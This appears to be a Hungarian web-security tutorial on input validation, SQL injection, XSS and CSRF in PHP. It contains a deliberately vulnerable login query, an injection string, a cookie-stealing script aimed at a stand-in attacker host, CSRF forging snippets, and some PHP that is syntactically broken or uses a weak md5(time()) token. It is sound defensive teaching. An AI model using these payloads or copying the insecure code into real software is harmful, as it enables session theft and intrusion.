Beérkező adatok megbízhatósága
Alkalmazásunkhoz
a böngésző felől GET vagy POST metódussal küldött, illetve sütikben
tárolt adatok érkezhetnek, de ezenkívül még számtalan adatforrás
elképzelhető. Ezek mindegyikét teljesen megbízhatatlannak kell
tartanunk, és mielőtt felhasználnák őket, teljes körű ellenőrzésnek
kell alávetni őket. Fontos annak a felismerése, hogy bármilyen kliens
oldali ellenőrzés a biztonság szemszögéből tekintve teljesen
lényegtelen, inkább csak kényelmi funkciónak tekinthető.
1.) Tegyük fel, hogy alkalmazunk kliens oldali ellenőrzést, de:
- a felhasználó bármikor letilthatja böngészőjében a JavaScript kódok futtatását, így űrlapunk ellenőrzés nélkül kerül elküldésre.
- elküldhet egy módosított űrlapot is a szerverünknek. Persze ilyenkor a
HTTP_REFERER
környezeti változó értéke üres lesz, de igazából ennek meglétére amúgy
sem szabad alapozni, mert könnyen akadhat olyan kliens, amely ezt a
fejlécet nem, vagy nem igaz adattal tölti ki.
- ezenkívül a gonosz támadó a böngésző teljes megkerülésével,
akár egy sima Telnet program segítségével is kezdeményezhet
kommunikációt, és küldhet tetszőleges adatokat programunknak, ráadásul
megfelelő HTTP fejlécek (pl.
USER_AGENT) megadásával azt is elhitetheti, hogy az adatok egy böngészőből érkeznek.
2.) Gyakori hiba, hogy az URL-eken keresztül érkező adatokkal
szemben bizonyos feltételezésekkel élünk (hiszen mi generáltuk őket),
de ezek érintetlenségére nem alapozhatunk, azokat a felhasználó
bármikor átírhatja, akár ártó szándék nélkül is, és ha programunk erre
nincs felkészülve, akkor nem megfelelően inicializált adatok hiányában
hibás működést produkálhat.
3.) A felhasználó gépén tárolt sütik tartalma is bármikor módosítható
akár egy egyszerű szövegszerkesztő segítségével, így ezek tartalma sem
megbízható, csak olyan adatokat tároljunk ilyen formában, melyek
illetéktelen megváltoztatása nem okoz gondot. Van a sütiknek egy
speciális fajtája, amely csak az adott böngésző példány futásának
időtartama alatt él, az úgynevezett
munkamenet süti
("session cookie"). Ezek tartalma elvileg nem egy fájlban kerül
tárolásra, hanem a böngésző által használt memória területen, de ez
erősen függhet az adott böngésző implementációjától, illetve egy
kellően felkészült támadó ezt is képes lehet módosítani. Ráadásul, mint
már az előbb említettem, mivel ez is a kliens felől érkezik, bármikor
tetszés szerint hamisítható.
Beérkező adatok ellenőrzése
Mint
láttuk ez alapvető fontosságú, és mivel jóformán minden programunk
állandóan ismétlődő része, ezért célszerű ezt általánosan megírni,
esetleges használati tapasztalatok alapján folyamatosan csiszolni, így
elég hamar egy jól használható eszközhöz jutunk. Egy lehetséges
megoldás például a következő lehet:
- <?php
-
- $values = array(
- 'filters' => array(
- 'trim'
- ),
- 'values' => array(
- 'topicID' => array(
- 'rules' => array(
- 'required',
- 'integer',
- ’between’ => array(0, 10000)
- )
- ),
- 'loginName' => array(
- 'rules' => array(
- 'required',
- 'maxLength' => 10,
- 'regExp' => '/[A-Z][a-z]+/'
- )
- ),
- 'email' => array(
- 'rules' => array(
- 'required',
- 'email'
- )
- ),
- 'message' => array(
- 'default' => ’Semmi okos se jut az eszembe, szép napot mindenkinek!’
- 'filters' => array(
- 'stripHTML'
- )
- )
- )
- );
-
- if ( true === ($errors = validateInput()) {
-
-
- } else {
-
- }
- ?>
<?php
// Definiáljuk, hogy a programunk milyen input adatokat vár
$values = array(
'filters' => array(
'trim'
),
'values' => array(
'topicID' => array(
'rules' => array(
'required',
'integer',
’between’ => array(0, 10000)
)
),
'loginName' => array(
'rules' => array(
'required',
'maxLength' => 10,
'regExp' => '/[A-Z][a-z]+/'
)
),
'email' => array(
'rules' => array(
'required',
'email'
)
),
'message' => array(
'default' => ’Semmi okos se jut az eszembe, szép napot mindenkinek!’
'filters' => array(
'stripHTML'
)
)
)
);
// Input adatok feldolgozása
if ( true === ($errors = validateInput()) {
// A $topicID, $name, $email, $message változók megfelelő tartalommal
// a rendelkezésünkre állnak, nyugodtan használhatjuk őket
} else {
// hibakezelés
}
?>
A várt adatok leírása egy tömbbe kerül. Ennek
’filters’
tömbeleme tartalmazhat olyan szűrőket, melyek minden adat esetén
meghívásra kerülnek, például hasznos lehet minden bejövő adat esetén a
felesleges szóköz karakterek levágása. A
’values’
tömbelem azt tartalmazza, hogy milyen adatokat vár programunk. Itt
megadjuk a változók nevét, illetve különböző szabályokat és szűrőket
rendelhetünk hozzájuk. Például megadhatjuk, hogy az adott paraméterre
feltétlenül szükségünk van, hogy egy formailag tökéletes e-mail cím
legyen, vagy például egész szám 0 és 10 000 között, de akár
mintaillesztő kifejezésnek való megfelelést is előírhatunk, stb. Itt
jegyezném meg, hogy a webes környezetben fejlesztők számára a
mintaillesztő kifejezések használata egy rendkívül hasznos eszköz,
mindenféleképpen ajánlom legalább alapszintű megismerését. Ezenkívül az
egyes adatokhoz külön szűrőket rendelhetünk.
Esetleg megteremthetjük annak lehetőségét, hogy megadhassuk, hogy az
adott paramétert milyen forrásból (GET/POST/süti) várjuk, de ennek
igazából értelmét nem látom. Attól nem lesz biztonságosabb az
alkalmazásunk, mert egy adott paramétert (amit egy űrlap elküldésével
várunk) nem fogadunk el URL-n keresztül átadva, hisz az űrlap maga is
hamisítható, az a fontos, hogy a felhasználó által küldött adatokat
megfelelően ellenőrizzük, a felhasználó ne tudja alkalmazásunk
állapotát (adatbázis, stb.) számára nem megengedett módon változtatni.
A fentebb vázolt lehetőség elsőre feleslegesnek, túlzottan bonyolultnak
tűnhet, de nem így van. Egyrészt tapasztalatból mondhatom, amikor már
másodjára kell az embernek azzal vesződnie, hogy egy oldal számára
küldött adatokat ellenőrizze, egyből érezni kezdi, hogy itt valami
általános megoldásra van szükség, ami leveszi ezen állandóan ismétlődő
programrészek megírásának terhét, és egy magasabb absztrakciós szintre
emeli ezt a folyamatot. Egy ilyen jellegű megközelítéssel elérhetjük,
hogy programunk érdemi részére koncentrálhassunk. És ha például ezt a
tömböt egy külső fájlba helyezzük, akkor kódunk is lényegesen
egyszerűbbé, átláthatóbbá válik.
Másrészt, ha jobban megnézzük, a szűrők segítségével sok hasznos
funkciót építhetünk be rendszerünkbe. Például egy fórumhozzászólás
esetén az üzenetben nem szeretnénk ha szerepelnének HTML elemek, ezért
használjuk a
stripHTML
szűrőt, amely eltávolítja az adott változóból a HTML elemeket, így a
feldolgozás során már ezzel nekünk nem kell törődnünk. A szabályokhoz
hasonlóan a szűrőknek is átadhatunk paramétereket, melyek befolyásolják
az adott szűrő viselkedését, például a
stripHTML szűrőnek megadhatjuk, hogy mely HTML elemeket hagyja mégis a szövegben.
Az ’idegen’ adat
Az
ellenőrzés szükségessége triviálisnak tűnik GET/POST/süti forrásból
bejövő adatok esetén, de ugyanúgy bizalmatlanok kell legyünk bármilyen
külső forrásból származó adat esetén, melyekkel rendszerünk
kapcsolatban áll, feldolgoz, megjelenít. Veszélyes lehet akár egy web
szolgáltatás által visszaadott XML dokumentum, vagy akár egy e-mail is,
aminek tartalmát például webmail rendszerünkben megjelenítjük. És most
következzen a már említett három támadási lehetőség.
SQL injection
Ennek a
módszernek a lényege, hogy megfelelően formázott bemeneti adatokkal
próbálja a támadó (a gonosz :) ) elérni, hogy programunk módosított SQL
lekérdezéseket hajtson végre. Lássuk a következő kódrészletet:
- <?php
- if (isset($_POST['userName']) && isset($_POST['password'])) {
- mysql_connect("localhost", "user", "pass");
- mysql_select_db("myDb");
- $query = "SELECT
- count(*) FROM users
- WHERE
- userName='{$_POST['userName']}'
- AND
- password='{$_POST['password']}'
- ";
- $result = mysql_query($query) or die('Muysql hiba: '.mysql_error());
- if (mysql_num_rows($result) > 0) {
-
- echo ’Isten hozott!’;
- } else {
-
- echo ’Sicc innen!’;
- }
- } else {
- echo '
- <form name="login" method="post">
- Felhasználónév: <input type="text" name="userName" />
- Jelszó: <input type="text" name="password" />
- <input type="submit" value="Bejelentkezés" />
- </form>
- ';
- }
- ?>
<?php
if (isset($_POST['userName']) && isset($_POST['password'])) {
mysql_connect("localhost", "user", "pass");
mysql_select_db("myDb");
$query = "SELECT
count(*) FROM users
WHERE
userName='{$_POST['userName']}'
AND
password='{$_POST['password']}'
";
$result = mysql_query($query) or die('Muysql hiba: '.mysql_error());
if (mysql_num_rows($result) > 0) {
// sikeres bejelentkezés
echo ’Isten hozott!’;
} else {
// hibás felhasználónév vagy jelszó
echo ’Sicc innen!’;
}
} else {
echo '
<form name="login" method="post">
Felhasználónév: <input type="text" name="userName" />
Jelszó: <input type="text" name="password" />
<input type="submit" value="Bejelentkezés" />
</form>
';
}
?>
Jön egy felhasználó, beírja: "
Pistike" és "
anyu", ennek eredménye a következő lekérdezés lesz:
- SELECT count(*) FROM users
- WHERE userName = 'Pistike' AND password = 'anyu'
SELECT count(*) FROM users
WHERE userName = 'Pistike' AND password = 'anyu'
És ez így teljesen jó is, ha van Pisitke nevű
felhasználónk anyu jelszóval, akkor engedi belépni. Viszont jön a
gonosz felhasználó, aki szeretne Pistike nevében elkövetni valami
gazságot és a következőt írja be: "
Pistike" és "
barmi' OR 1 = '1", ennek eredménye ez lesz:
- SELECT count(*) FROM users
- WHERE userName = 'Pistike' AND password = 'barmi' OR 1 = '1'
SELECT count(*) FROM users
WHERE userName = 'Pistike' AND password = 'barmi' OR 1 = '1'
Ez a lekérdezés bármely felhasználónév megadása esetén igaz lesz, így a támadó sikeresen belép
Pistike nevében rendszerünkbe.
Ezen támadási mód alkalmas lehet adatbázis szerkezetünk felderítésére
is, illetve annak ismeretében akár a teljes adatbázis, vagy egyes
tábláinak törlésére. A módszer lényege, hogy a támadó úgy módosítja a
beírtakat, hogy egyéb lekérdezéseket fűz a mi lekérdezésünk végére, és
a kapott hibaüzenetek tartalmazzák számára a szükséges információkat.
Ha például sikerül megtudnia egy tábla nevét, akkor akár egy
DROP táblanév; utasítást is fűzhet a mi lekérdezésünk végére.
Az SQL injection támadások elleni védekezés elemei:
- bejövő adatok védelme ("escape-elése"). Ha egy
mezőbe olyan karaktereket (általában az aposztróf, idézőjel, utasítás
határoló jel, megjegyzés jel) szeretnék beszúrni, aminek az adott
adatbázis kezelő rendszer esetén speciális jelentése van, akkor ezen
karakterek elé egy speciális karaktert (többnyire \) kell tenni, mely
jelzi, hogy az őt követő karakter nem bír speciális jelentéssel (ez
különbözhet adatbázis motortól függően). Mivel ezen támadási mód
lényege, hogy a támadó speciális karaktereket helyez el az bemenetben,
ezért az szöveg megvédésével az esetlegesen ártó szándékú tartalmat
hatástalanítjuk. Szövegek esetén amúgy is szükséges a megvédés, hiszen
a szövegben normál esetben is szerepelhetnek speciális karakterek
(gondoljunk csak az O'Reilly névre, vagy a becenevekre, melyeket
idézőjelekkel szokás írni).
- érdemes ahol csak módunkban áll a várt adatok hosszát
limitálni, ahol csak lehet dolgozzuk fel a bejövő adatot, ha csak egy
szót várunk, akkor dobjuk el az első szóhatároló utáni részt, ha számot
várunk, akkor alakítsuk át számmá, ha bármilyen formai elvárásunk van
vele kapcsolatban, akkor ellenőrizzük mintaillesztő kifejezésekkel,
vagy egyéb módon. Ez a plusz költség a biztonság oldalán megtérül majd.
- a program által használt adatbázis felhasználó jogait
korlátozzuk le amennyire csak lehet, érdemes lehat az oldal
adminisztrációs felületéhez külön felhasználót használni, amely
rendelkezik ezen felület plusz funkcionalitása által igényelt plusz
adatbázis jogokkal.
XSS – Cross Site Scripting
Az
XSS támadások alapja az, hogy a támadó megpróbálja ártó szándékú script
(főként JavaScript) bejuttatását oldalunkba. Mint már korábban
említettem fontos, hogy minden, talán korántsem triviális külső
adatforrást megbízhatatlannak minősítsünk. Bármi, amit egy weboldalon
megjelenítünk, tartalmazhat ártalmas kódokat. Csak hogy egy alap képet
kapjunk, vegyünk például egy webes levelező rendszert. A rosszindulatú
felhasználó küldhet egy ilyen tárgyú levelet:
- You win 1000$!!!<script>alert('Oh No!');</script>
You win 1000$!!!<script>alert('Oh No!');</script>
Ha programunk ezt így ebben a formában jeleníti meg,
akkor a tárgyban lévő JavaScript kód le fog futni, és a felhasználó
csodálkozni fog, hogy mi is történt. Ez egy ártatlan példa, sokkal
bosszantóbb lehet, ha mondjuk egy fórumüzenetbe rejtett JavaScript
kóddal átirányítjuk a látogatót egy másik oldalra:
- <script>document.location = 'http://azenaranytojasttojoreklamoldalam.hu';</script>
<script>document.location = 'http://azenaranytojasttojoreklamoldalam.hu';</script>
vagy éppenséggel felbukkanó ablakokat nyitunk meg.
De ez nem minden, lehetőségünk van ezen technológia felhasználásával a
felhasználó számára érzékeny adatok ellopására is. Vegyük például a
következő kódot:
- <script>
- document.location =
- 'http://gonosz.tamado.hu/cookielopo.php?cookies=' + document.cookie;
- </script>
<script>
document.location =
'http://gonosz.tamado.hu/cookielopo.php?cookies=' + document.cookie;
</script>
Ha ezt egy adott rendszerbe már belépett felhasználó
számára megjelenített oldalra sikerül a támadónak bejuttatnia, akkor a
felhasználónak a rendszerhez tartozó domainhez beállított sütijeit a
cookielopo.php megkapja. Ezáltal a támadó olyan információk birtokába
juthat, mellyel könnyedén visszaéléseket követhet el az adott
felhasználó nevében. Például elég gyakori, hogy a munkamenet azonosítót
sütiben tárolják, aminek a birtokában a támadó létrehoz a saját gépén
egy a megtámadott domainhez tartozó sütit a megszerzett adatok szerint
megfelelően kitöltve, majd egyszerűen ellátogat az oldalra, és egyből a
lépre csalt felhasználóként lesz bejelentkezve.
Az XSS támadások elleni védekezés alapja szintén a bejövő adatok
megfelelő szűrése. Mint láthatjuk, ismét előkerült a szűrés fogalma,
érdemes pár szót ejteni arról, hogy ennek felépítése során hogyan
érdemes eljárni. A legalapvetőbb szempont, hogy inkább eleinte legyünk
szigorúbbak. Például nevek esetén első lépésben csak betűket engedünk
meg. Jön egy György-Pál nevű ember, akkor ezen a szabályon enyhítünk
egy kicsit és a megengedett karakterek közé felvesszük a – jelet is.
Így egy kis idő múlva kellően tökéletessé válik rendszerünk. Az
eltúlzott szabályokat a felhasználók egyből jelezni fogják, míg a
túlságosan lazákról esetlegesen csak túl későn értesülünk.
CSRF - Cross-Site Request Forgeries
Az
előbb ismertetett támadás a látogató weboldal iránti bizalmán alapszik,
és így egy támadó által veszélyes tartalommal ellátott weboldalra
érkezve úgymond áldozattá válhat. A most bemutatandó technika viszont
pont ennek ellenkezője, a weboldal felhasználó iránti bizalmára épül. A
CSRF támadás alapja egy meghamisított HTTP kérés, ezért először nézzük
meg, hogy hogyan is néz ki egy normál kérés. Mondjuk beírjuk a
böngészőnkbe, hogy
domainflotta.hu. Erre a böngészőnk küld egy kérést a megfelelő webszervernek, ami a következőképpen néz ki:
GET / HTTP/1.1
Host: domainflotta.hu
Erre a megszólított webszerver válaszolni fog, és például a következőt küldi:
HTTP/1.1 200 OK
Content-Length: 69
<html>
<img src="http://domainflotta.hu/szep_uj_logonk.jpg" />
</html>
A böngészőnk a kapott kód feldolgozása közben
észreveszi, hogy neki az oldal megjelenítéséhez szüksége van a
szep_uj_logonk.jpg nevű képre, ezért egy újabb kérést küld a
webszervernek:
GET /szep_uj_logonk.jpg HTTP/1.1
Host: domainflotta.hu
Amire válaszul a szerver odaadja a böngészőnknek a
kívánt képet. Ez eddig rendben van, most lássuk, mi történik, amikor
egy oldalon (http://uzenofal.hu) a bejelentkezés után (munkamenet
azonosító sütibe került) kitöltjük és elküldjük a következő egyszerű
üzenetküldő űrlapot.
- <html>
- <form action="/uzenet.php">
- Tárgy: <input type="text" name="subject"
- <br>Szöveg: <textarea name="message"></textarea>
- <br><input type="submit" value="Elküldés">
- </form>
- </html>
<html>
<form action="/uzenet.php">
Tárgy: <input type="text" name="subject"
<br>Szöveg: <textarea name="message"></textarea>
<br><input type="submit" value="Elküldés">
</form>
</html>
A böngészőnk a következő kérést küldi a webszervernek:
GET /uzenet.php?subject=hat&message=nemistudom HTTP/1.1
Host: uzenofal.hu
Cookie: PHPSESSID=123456789
Láthatjuk, hogy a "kép erőforrás" és "program
erőforrás" lekérdezése között semmilyen különbség sincs. Ezt használja
ki egy CSRF támadás, és legkedveltebb eszközük egy hamisított kérés
küldésére nem más, mint egy HTML
img
elem. Ha például szeretnénk egy üzenetet küldeni a fenti oldalra egy
felhasználó nevében, akkor elegendő őt rávenni, hogy nézzen meg egy
oldalt, ami tartalmazza a következő HTML kódot:
- <img src="http://uzenofal.hu/uzenet.php?subject=Elvis%20a%20kiraly&message=..." />
<img src="http://uzenofal.hu/uzenet.php?subject=Elvis%20a%20kiraly&message=..." />
Ennek hatására egy teljesen ugyanolyan kérés megy a
szerver felé, mintha a weboldalon az Elküldés gombra kattintottunk
volna. Ráadásul a felhasználó gépen tárolt sütik is belekerülnek a
kérésbe, így az
uzenet.php script
belépettnek fogja tekinteni a felhasználót és rögzíti az üzenetét. És
minderről a felhasználó semmit sem fog tudni, noha a történteknek,
akaratlanul ugyan, de cinkos társa.
Ezzel a módszerrel még egy jól megírt munkamenet kezeléssel,
felhasználó ellenőrzéssel rendelkező rendszer is kijátszható, ráadásul
még akkor is sikeres tud lenni egy ilyen támadás, ha a rendszer
elérhetősége korlátozva van. Hiszen a támadást maga az adott funkció
elérésére jogosult felhasználó „hajtja végre”.
Nézzük, hogy hogyan is védekezhetünk a CSRF támadások ellen. Először is
kézenfekvő megoldás lehet, hogy az űrlapok küldésekor POST metódust
használjunk, de ez korántsem elegendő, hiszen egy POST kérés is
viszonylag könnyen hamisítható. Elegendő, ha a támadónak sikerül a
felhasználót rávennie, hogy kattintson egy képre, linkre, ami mögött
egy űrlap elküldése áll, ami egy rejtett űrlap elemben tárolja az
POST-olni kívánt adatokat, de még erre sincs feltétlenül szükség,
például a következő JavaScript kód dinamikusan állít elő és küld el egy
űrlapot:
- <script>
- var myInput;
- var form = document.createElement("form");
- form.method = 'post';
- form.action = 'http://uzenofal.hu/uzenet.php';
- var input = document.createElement("input");
- input.type = 'hidden';
-
- document.body.appendChild( form );
- form.method = "post";
-
- myInput = input.cloneNode();
- form.appendChild( myInput );
- myInput.name = "subject";
- myInput.value = "hat";
-
- myInput = input.cloneNode();
- form.appendChild( myInput );
- myInput.name = "message";
- myInput.value = "EljenRakosi";
-
- form.submit();
- </script>
<script>
var myInput;
var form = document.createElement("form");
form.method = 'post';
form.action = 'http://uzenofal.hu/uzenet.php';
var input = document.createElement("input");
input.type = 'hidden';
document.body.appendChild( form );
form.method = "post";
myInput = input.cloneNode();
form.appendChild( myInput );
myInput.name = "subject";
myInput.value = "hat";
myInput = input.cloneNode();
form.appendChild( myInput );
myInput.name = "message";
myInput.value = "EljenRakosi";
form.submit();
</script>
POST metódus használata esetén viszont a felhasználó
számára nyilvánvaló lehet, hogy valami történt, hisz az űrlap elküldése
után az azt feldolgozó oldalra kerül, habár még ez is elkerülhető, ha
az űrlap
targetje például egy rejtett
frame. Valamint az újabb böngészőkben már létezik egy XMLHTTP nevű
objektum, amin keresztül kommunikációt folytathatunk észrevétlenül a
szerverrel.
A megfelelő védelem részeként érdemes lehet komolyabb súlyú akciók
esetén egy az adott akció jóváhagyását kérő lépcsőfok beiktatása, ami
POST metódus esetén rendkívül megnehezíti egy sikeres CSRF támadás
lehetőségét.
Ezenkívül az is komoly biztonságot nyújthat az ilyen jellegű
támadásokkal szemben, ha valamilyen módon azonosítani tudjuk
űrlapunkat. Tehát minden alkalommal, amikor egy űrlapot generálunk a
felhasználó számára, akkor elrejtünk benne egy azonosítót, amit szerver
oldalon is eltárolunk mondjuk a felhasználó munkamenetébe (felülírva az
előző ehhez az űrlaphoz tartozó azonosítót), majd amikor egy űrlapot
küldenek nekünk, akkor megnézzük, hogy érkezett-e ilyen azonosító. Ha
nem, akkor egyből kiderül, hogy valami nem stimmel, ha igen, akkor
ellenőrizzük annak valódiságát, és csak ha ebben megbizonyosodtunk,
hajtjuk végre a kívánt akciót.
Azonosító elrejtése az űrlapba:
- <?php
- $token = md5( time() );
- $_SESSION['token'] = $token;
- echo '
- <html>
- <form action="/uzenet.php">
- <input type="hidden" name="token" value="' . $token . '"
- Tárgy: <input type="text" name="subject"
- <br>Szöveg: <textarea name="message"></textarea>
- <br><input type="submit" value="Elküldés">
- </form>
- </html>
- ';
- ?>
<?php
$token = md5( time() );
$_SESSION['token'] = $token;
echo '
<html>
<form action="/uzenet.php">
<input type="hidden" name="token" value="' . $token . '"
Tárgy: <input type="text" name="subject"
<br>Szöveg: <textarea name="message"></textarea>
<br><input type="submit" value="Elküldés">
</form>
</html>
';
?>
A CRSF támadás elleni védekezésben ráadásul még
megfelelő felhasználói házirend is szerepet játszhat, például
előírhatjuk a rendszer felhasználóinak, hogy böngészőjükben tiltsák a
"third party" sütik használatát, vagyis az oldal által tartalmazott, de
nem az oldal domainjében elhelyezkedő erőforrások lekérésekor a
böngésző ne küldje el az erőforrást tartalmazó domain számára
esetlegesen korábban bejegyzett sütiket.
Támadás levelezőn keresztül
Egy
dolgot még kipróbáltam kíváncsiságból. Az érdekelt volna, hogy amikor
egy levelező program megjelenít egy HTML levelet, és a levél tartalmaz
külsőleg linkelt képet, akkor webszervernek küldött kérésbe beleteszi-e
az adott kép domainjéhez az adott gépen beállított sütiket. A következő
egyszerű kis programot használtam:
Levelező program ellenőrző:
- <?php
- if (!isset($_COOKIE['felho'])) {
- setcookie('felho', 1, time()+3600);
- } else {
- $cookie = $_COOKIE['felho'];
- $cookie++;
- setcookie('felho', $cookie, time()+3600);
- }
- $FILE = fopen(time().'.txt', 'w');
- fputs($FILE, print_r($_GET, true));
- fputs($FILE, print_r($_COOKIE, true));
- fclose($FILE);
- ?>
<?php
if (!isset($_COOKIE['felho'])) {
setcookie('felho', 1, time()+3600);
} else {
$cookie = $_COOKIE['felho'];
$cookie++;
setcookie('felho', $cookie, time()+3600);
}
$FILE = fopen(time().'.txt', 'w');
fputs($FILE, print_r($_GET, true));
fputs($FILE, print_r($_COOKIE, true));
fclose($FILE);
?>
Először böngészőn keresztül hívtam meg a scriptet,
hogy beállítsam a sütit, majd küldtem magamnak egy egyszerű HTML
levelet a következő tartalommal:
- <html>
- <body>
- <img src="http://felho.hu/x.php?x=bela">
- <a href="http://felho.hu/reklam.html">klikk ide</a>
-
- </body>
- </html>
<html>
<body>
<img src="http://felho.hu/x.php?x=bela">
<a href="http://felho.hu/reklam.html">klikk ide</a>
<!-- a reklam.html-ben is van egy a fentivel megegyező img tag -->
</body>
</html>
Miután megkaptam a levelet, rákattintottam a linkre.
Az Apache access logjában mindkét kérés megjelent, viszont a saját kis
logfájljaim tartalma a következő volt:
-
-
- Array
- (
- [x] => bela
- )
-
- Array
- (
- )
-
-
-
- Array
- (
- [x] => bela
- )
-
- Array
- (
-
- [felho] => 10
- )
// a kép lekéresekor generált file
Array
(
[x] => bela
)
Array
(
)
// a linkre való kattintás nyomán generált file
Array
(
[x] => bela
)
Array
(
// az értékből következik, hogy a cookie megelőzően már létezett
[felho] => 10
)
A fenti programot Outlook Express-szel (az IE-t
használja HTML levelek megjelenítésére), illetve Mozillával (a levelező
a böngészőbe van integrálva) próbáltam ki, mindkét esetben a remélt,
megnyugtató működést tapasztaltam: egy levélen keresztül történő
támadás csak akkor lehet sikeres, ha a felhasználót sikerül rávenni
arra, hogy egy a levélben található linkre rákattintson. Ez azonban nem
biztos, hogy így van egy webes levelezőprogramnál, fontos ismernünk
tehát ezt a kockázati lehetőséget egy ilyen, vagy számunkra ismeretlen
levelezőprogram használatakor. Rengeteg ember levelező programja sajnos
úgy van beállítva, hogy a HTML tartalmat egyből megmutassa, de azért
már jóval kisebb számú az a botor felhasználó, aki egy linkre rákattint.
Remélem ezúttal is sikerült pár hasznos dologra felhívni a figyelmet,
legközelebb a kliens és a szerver közötti, az oldal látszólagos,
illetve tényleges újratöltődése nélküli kommunikáció lehetséges
megoldásait fogom áttekinteni.
Az eredeti cikk megtalálható a weblabor.hu oldalán.
2011-02-03 at 7:49pm
parmacologies testings 3
2011-02-18 at 8:15pm
KvYZUjk